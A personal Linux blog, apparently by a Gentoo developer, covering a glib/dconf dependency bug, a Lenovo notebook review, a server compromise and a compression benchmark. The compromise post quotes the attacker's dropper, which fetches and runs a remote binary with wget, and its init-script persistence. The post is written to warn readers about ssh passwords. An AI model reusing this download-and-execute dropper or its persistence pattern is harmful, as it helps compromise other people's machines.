Patrick's playground

Dirty hack of the day:

A CGit Mirror of git.overlays.gentoo.org

I wonder if the update cronjob actually works ...

Yesterday I wanted to update a build chroot I have. And ... strangely ... there was a pile of new dependencies:

# emerge -upNDv world

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild     U  ] sys-devel/patch-2.7.2 [2.7.1-r3] USE="-static {-test} -xattr" 0 KiB
[ebuild     U  ] sys-devel/automake-wrapper-10 [9] 0 KiB
[ebuild  N     ] dev-libs/lzo-2.08-r1:2  USE="-examples -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/dejavu-2.34  USE="-X -fontforge" 0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-common-1.42.0  0 KiB
[ebuild  N     ] media-libs/libpng-1.6.16:0/16  USE="-apng (-neon) -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/vala-common-0.26.1  0 KiB
[ebuild     U  ] dev-libs/libltdl-2.4.5 [2.4.4] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] virtual/ttf-fonts-1  0 KiB
[ebuild  N     ] x11-themes/hicolor-icon-theme-0.14  0 KiB
[ebuild  N     ] dev-perl/XML-NamespaceSupport-1.110.0-r1  0 KiB
[ebuild  N     ] dev-perl/XML-SAX-Base-1.80.0-r1  0 KiB
[ebuild  N     ] virtual/perl-Storable-2.490.0  0 KiB
[ebuild     U  ] sys-libs/readline-6.3_p8-r2 [6.3_p8-r1] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild     U  ] app-shells/bash-4.3_p33-r1 [4.3_p33] USE="net nls (readline) -afs -bashlogger -examples -mem-scramble -plugins -vanilla" 0 KiB
[ebuild  N     ] media-libs/freetype-2.5.5:2  USE="adobe-cff bzip2 -X -auto-hinter -bindist -debug -doc -fontforge -harfbuzz -infinality -png -static-libs -utils" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-SAX-0.990.0-r1  0 KiB
[ebuild  N     ] dev-libs/libcroco-0.6.8-r1:0.6  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-LibXML-2.1.400-r1  USE="{-test}" 0 KiB
[ebuild  N     ] dev-perl/XML-Simple-2.200.0-r1  0 KiB
[ebuild  N     ] x11-misc/icon-naming-utils-0.8.90  0 KiB
[ebuild  NS    ] sys-devel/automake-1.15:1.15 [1.13.4:1.13, 1.14.1:1.14] 0 KiB
[ebuild     U  ] sys-devel/libtool-2.4.5:2 [2.4.4:2] USE="-vanilla" 0 KiB
[ebuild  N     ] x11-proto/xproto-7.0.26  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xextproto-7.3.0  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/inputproto-2.3.1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/damageproto-1.2.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/xtrans-1.3.5  USE="-doc" 0 KiB
[ebuild  N     ] x11-proto/renderproto-0.11.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/font-util-1.3.0  0 KiB
[ebuild  N     ] x11-misc/util-macros-1.19.0  0 KiB
[ebuild  N     ] x11-proto/compositeproto-0.4.2-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/recordproto-1.14.2-r1  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libICE-1.0.9  USE="ipv6 -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libSM-1.2.2-r1  USE="ipv6 uuid -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/fixesproto-5.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/randrproto-1.4.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/kbproto-1.0.6-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xf86bigfontproto-1.2.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXau-1.0.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdmcp-1.1.1-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/libpthread-stubs-0.3-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pixman-0.32.6  USE="sse2 (-altivec) (-iwmmxt) (-loongson2f) -mmxext (-neon) -ssse3 -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  NS    ] app-text/docbook-xml-dtd-4.4-r2:4.4 [4.1.2-r6:4.1.2, 4.2-r2:4.2, 4.5-r1:4.5] 0 KiB
[ebuild  N     ] app-text/xmlto-0.0.26  USE="-latex" 0 KiB
[ebuild  N     ] sys-apps/dbus-1.8.12  USE="-X -debug -doc (-selinux) -static-libs -systemd {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] net-misc/curl-7.40.0  USE="ipv6 ssl -adns -idn -kerberos -ldap -metalink -rtmp -samba -ssh -static-libs {-test} -threads" ABI_X86="(64) -32 (-x32)" CURL_SSL="openssl -axtls -gnutls -nss -polarssl (-winssl)" 0 KiB
[ebuild  N     ] app-arch/libarchive-3.1.2-r1:0/13  USE="acl bzip2 e2fsprogs iconv lzma zlib -expat -lzo -nettle -static-libs -xattr" 0 KiB
[ebuild  N     ] dev-util/cmake-3.1.0  USE="ncurses -doc -emacs -qt4 (-qt5) {-test}" 0 KiB
[ebuild  N     ] media-gfx/graphite2-1.2.4-r1  USE="-perl {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/fontconfig-2.11.1-r2:1.0  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-admin/eselect-fontconfig-1.1  0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-1.42.0  USE="-cairo -doctool {-test}" PYTHON_TARGETS="python2_7" 0 KiB
[ebuild  N     ] dev-libs/atk-2.14.0  USE="introspection nls {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-util/gdbus-codegen-2.42.1  PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-proto/xcb-proto-1.11  ABI_X86="(64) -32 (-x32)" PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-libs/libxcb-1.11-r1:0/1.11  USE="-doc (-selinux) -static-libs -xkb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libX11-1.6.2  USE="ipv6 -doc -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXext-1.3.3  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXfixes-5.0.1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrender-0.9.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/cairo-1.12.18  USE="X glib svg (-aqua) -debug (-directfb) (-drm) (-gallium) (-gles2) -opengl -openvg (-qt4) -static-libs -valgrind -xcb -xlib-xcb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXi-1.7.4  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gdk-pixbuf-2.30.8:2  USE="X introspection -debug -jpeg -jpeg2k {-test} -tiff" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcursor-1.1.14  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdamage-1.1.4-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrandr-1.4.2  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcomposite-0.4.4-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXtst-1.2.2  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-core-2.14.1:2  USE="X introspection" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-atk-2.14.1:2  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/harfbuzz-0.9.37:0/0.9.18  USE="cairo glib graphite introspection truetype -icu -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pango-1.36.8  USE="introspection -X -debug" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gtk+-2.24.25-r1:2  USE="introspection (-aqua) -cups -debug -examples {-test} -vim-syntax -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/librsvg-2.40.6:2  USE="introspection -tools -vala" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-themes/adwaita-icon-theme-3.14.1  USE="-branding" 0 KiB
[ebuild  N     ] x11-libs/gtk+-3.14.6:3  USE="X introspection (-aqua) -cloudprint -colord -cups -debug -examples {-test} -vim-syntax -wayland -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/dconf-0.22.0  USE="X {-test}" 0 KiB

Total: 78 packages (6 upgrades, 70 new, 2 in new slots), Size of downloads: 0 KiB

The following USE changes are necessary to proceed:
 (see "package.use" in the portage(5) man page for more details)
# required by x11-libs/gtk+-2.24.25-r1
# required by x11-libs/gtk+-3.14.6
# required by gnome-base/dconf-0.22.0[X]
# required by dev-libs/glib-2.42.1
# required by media-libs/harfbuzz-0.9.37[glib]
# required by x11-libs/pango-1.36.8
# required by gnome-base/librsvg-2.40.6
# required by x11-themes/adwaita-icon-theme-3.14.1
=x11-libs/cairo-1.12.18 X

BOOM. That's heavy. There's gtk2, gtk3, most of X ... and things want to enable USE="X" ... what's going on ?!

After some experimenting with selective masking and tracing dependencies I figured out that it's dev-libs/glib that pulls in "everything". Eh?
ChangeLog says:

  21 Jan 2015; Pacho Ramos  -files/glib-2.12.12-fbsd.patch,
  -files/glib-2.36.4-znodelete.patch,
  -files/glib-2.37.x-external-gdbus-codegen.patch,
  -files/glib-2.38.2-configure.patch, -files/glib-2.38.2-sigaction.patch,
  -glib-2.38.2-r1.ebuild, -glib-2.40.0-r1.ebuild, glib-2.42.1.ebuild:
  Ensure dconf is present (#498436, #498474#c6), drop old

So now glib depends on dconf (which is actually not correct, but fixes some bugs for gtk desktop apps). dconf has USE="+X" in the ebuild, so it overrides profile settings, and pulls in the rest.
USE="-X" still pulls in dbus unconditionally, and ... dconf is needed by glib, and glib is needed by pkgconfig, so that would be mildly upsetting as every user would now have dconf and dbus installed. (Unless, of course, we switched pkgconfig to USE="internal-glib")

After a good long discussion on IRC with some good comments on the bugreport we figured out a solution that should work for all:
dconf ebuild is fixed to not set default useflags. So only desktop profiles or USE="X" set by users will pull in X-related dependencies. glib gets a dbus useflag, which is default-enabled on desktop profiles, so there the dependency chain works as desired. And for the no-desktop no-X usecase we have no extra dependencies, and no reason to be grumpy.

This situation shows quite well how unintended side-effects may happen. The situation looked good for everyone on a desktop profile (and dconf is small enough to be tolerated as dependency). But on not-desktop profiles, suddenly, we're looking at a pile of 'wrong' dependencies, accidentally forced on everyone. Oops :)

In the end, all is well, and I'm still confused why writing a config file needs dbus and xml and stuff. But I guess that's called progress ...

Recently I got to interact with two Lenovo notebooks - an E445 with Ubuntu Demo preinstalled, and an E431 with Win8 Demo preinstalled.
Why do I say demo? Because these were completely unusable. Let me explain ...

The E445 is a very simple notebook - 14" crap display, slowest AMD APU they could find, 4GB RAM (3 usable due to graphics card stealing the rest). Slowest harddisk ever ;)
The E431 is pretty much the same form factor, but the slowest Intel CPU (random i3) and also 4GB RAM and a crap display.

On powerup the E445 spent about half an hour "initialising" and kinda installing whatever. Weird because you could do that before and deliver an instant-on disk image, but this whole thing hasn't been thought out.
The Ubuntu version it comes with (12.04 LTS I think?) is so old that the graphics drivers can't drive the display at native resolution out of the box. So your display will be a fuzzy 1024x768 upscaled to 1366x768. I consider this a demo because there's some obvious bugs - the black background glows purple, there's random output from init scripts bleeding over the bootsplash. And then once you login there's this ... hmm. Looks like a blend of MovieOS and a touchscreen UI and goes by the name of Unity. The whole mix is pretty much unusable, mostly because basic things like screen resolution are broken in ways that are not easy to fix.

The other device came with a Win8 demo. Out of the box it takes about 5 minutes to start, and then every app takes 30-60 seconds to start. It's brutally slow.
After boot about 2.5GB RAM are in use, so pretty much any action can trigger swapping. It's brutally slow. Oh wait, I already said that.
At some point it decided to update to 8.1, which took half an hour to download and about seven hours to install. WHAT TEH EFF!

The UI is ... MovieOS got drunk. A part is kinda touchscreen thingy, and the rest is even more confused. Localization is horribad (some parts are pictogram only, some part are text only - and since this is a chinese edition I wouldn't even know hot to reboot it! squiggly hat box squiggly bug ... or is it square squiggly star ? Oh my, this is just bad.
And I said demo, because shutdown doesn't. Looks like the hibernate and shutdown bugs are crosswired the wrong way?
There's random slowdowns doing basic tasks, even youtube video randomly stutters and glitches because the OS is still not ready for general use. And it's slow ... oh wait, I said that. So all in all, it's a nice showroom demo, but not useful.

Installing Gentoo was all in all pretty boring, with full KDE running the memory usage is near 500MB (compared to >2GB for the win demo). Video runs smoothly, audio works. Ethernet connection with r8169 works, WLAN with BCM43142 requires broadcom-sta aka. wl. Very very bad driver stupid, it'd be easier to not have this device built in.
Both the intel card in the E431 and the radeon in the E445 work well, although the HD 8550G needs the newest release of xf86-video-ati to work.

The E445 boots cleanly in BIOS mode, the E431 quietly fails (sigh) because SecureBoot (sigh!) unless you actively disable it. Also randomly the E431 tries to reset to factory defaults, or fails to boot with Fan Warning. Very shoddy, but usually smacking it with a hammer helps.

I'm a little bit sad that all new notebooks are so conservative with maximum amount of RAM, but on the upside the minimum is defined by Win8 Demo requirements. So most devices have 4GB RAM, which reminds me of 2008. Hmm.
Harddisks are getting slower and bigger - this seems to be mostly penny pinching. The harddisk in the R400 I had years ago was faster than the new ones!

And vendors should maybe either sell naked notebooks without an OS, or install something that is properly installed and preconfigured. And, maybe, a proper recovery DVD so that the OS can be reinstalled? Especially as both these notebooks come with a DVD drive. I have no opinion if it works because I lack media to test with, but it wastes space ...

(If you are a vendor, and want to have things tested or improved, feel free to send me free hardware and maybe consider compensating me for my time - it's not that hard to provide a good user experience, and it'll improve customer retention a lot!)

Recently I was asked to set up a new machine. It had been minimally installed, network started, and then ignored for a day or two.

As I logged in I noticed a weird file in /root: n8005.tar
And 'file' said it's a shellscript. Hmmm ....

#!/bin/sh
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wget http://432.567.99.1/install/8005
chmod +x 8005
./8005

At this point my confidence in the machine had been ... compromised. "init 0" it is!
A reboot from a livecd later I was trying to figure out what the attacker was trying to do:
* An init script in /etc/init.d

#!/bin/sh
# chkconfig: 12345 90 90
# description: epnlmqmjph
### BEGIN INIT INFO
# Provides:             epnlmqmjph
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    epnlmqmjph
### END INIT INFO
case $1 in
start)
        /usr/bin/epnlmqmjph
        ;;
stop)
        ;;
*)
        /usr/bin/epnlmqmjph
        ;;
esac

* A file in /usr/bin

# file epnlmqmjph
epnlmqmjph: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

# md5sum epnlmqmjph
2cb5174e26c6782db94ea336696cfb7f  epnlmqmjph

* a file in /sbin I think - I didn't write down everything, just archived it for later analysis

# file bin_z 
bin_z: ERROR: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linkederror reading (Invalid argument)
# md5sum bin_z 
85c1c4a5ec7ce3efef5c5b20c5ded09c  bin_z

The only action I could do at this stage was wipe and reinstall, and so I did.
So this was quite educational, and a few minutes after reboot I saw a connection with putty as user agent in the ssh logs.
Sorry kid, not today ;)

There's a strong lesson in this: Do not use ssh passwords. Especially for root. A weak password can be accidentally bruteforced in a day or two!

sshd has an awesome feature: "PermitRootLogin without-password" if you rely on root login, at least avoid sucessful password logins!

And I wonder how much accidental security running not-32bit not-CentOS gives ;)

Random question of the day: How do different compression methods compare?
This fancy miserable graph is the result of a few minutes of scripting around. Red is time, Yellow is size.

Input file was stage3-amd64-20141204.tar.bz2, uncompressed 720MB (tar).
For every compression algorithm I went from compression levels -1 .. -9 and recorded both resulting size and time needed. Amusingly time in seconds and size in MB are in a similar dimension, so the graph fits quite nicely
(Bonus exercise: How much time does unpacking need?)
Edit: Just tested that. So - lz4 takes between 1 and 0.85 seconds to unpack to /dev/zero. Higher compression levels *go faster* - counterintuitive, but fun.
gzip shows the same behaviour with 5.7 .. 5.1 seconds.
bzip2 goes from 27 to 35 seconds, where higher compression levels take longer to unpack.
And xz takes 80 .. 57 seconds, going 'backwards' like lz4.
-End edit -

By far the fastest is lz4, doing over 200MB/s effective. The slowest is xz at around 2MB/s.
But lz4 also only shrinks it to about 50% of the input size, while xz gets it down to 18%. So there's some interesting tradeoffs to be found.

gzip -9 and bzip -1 are roughly comparable for this dataset.
But gzip gets silly slow, so gzip -6 seems to be the best time/space tradeoff.
lz4 also doesn't improve a lot at higher levels, just spends more time.

The clear winner for size is xz, but the compression time is very noticeably higher than the competition. Still, xz -1 is comparable to bzip2 -9 - that's quite amusing.

So, if you're CPU-limited lz4 is best, if you are bandwidth-limited xz is best, and in between there's a wide fuzzy area of tradeoffs.

Oh well, here's the raw data:

	level	time	size
lz4	1	3.4	326
	2	3.5	326
	3	3.5	326
	4	13.5	266
	5	16.3	263
	6	19.6	261
	7	22.8	260
	8	26.8	260
	9	30.6	260
			
gzip	1	15.4	260
	2	16.2	254
	3	20.1	248
	4	21	240
	5	27.8	234
	6	40.7	231
	7	50.3	230
	8	83.3	230
	9	126.6	229
			
bzip2	1	78	218
	2	77	211
	3	77	207
	4	79	204
	5	81	203
	6	80	201
	7	85	200
	8	87	199
	9	91	198
			
xz	1	77	184
	2	103	175
	3	144	167
	4	210	160
	5	276	150
	6	320	149
	7	328	136
	8	340	133
	9	354	132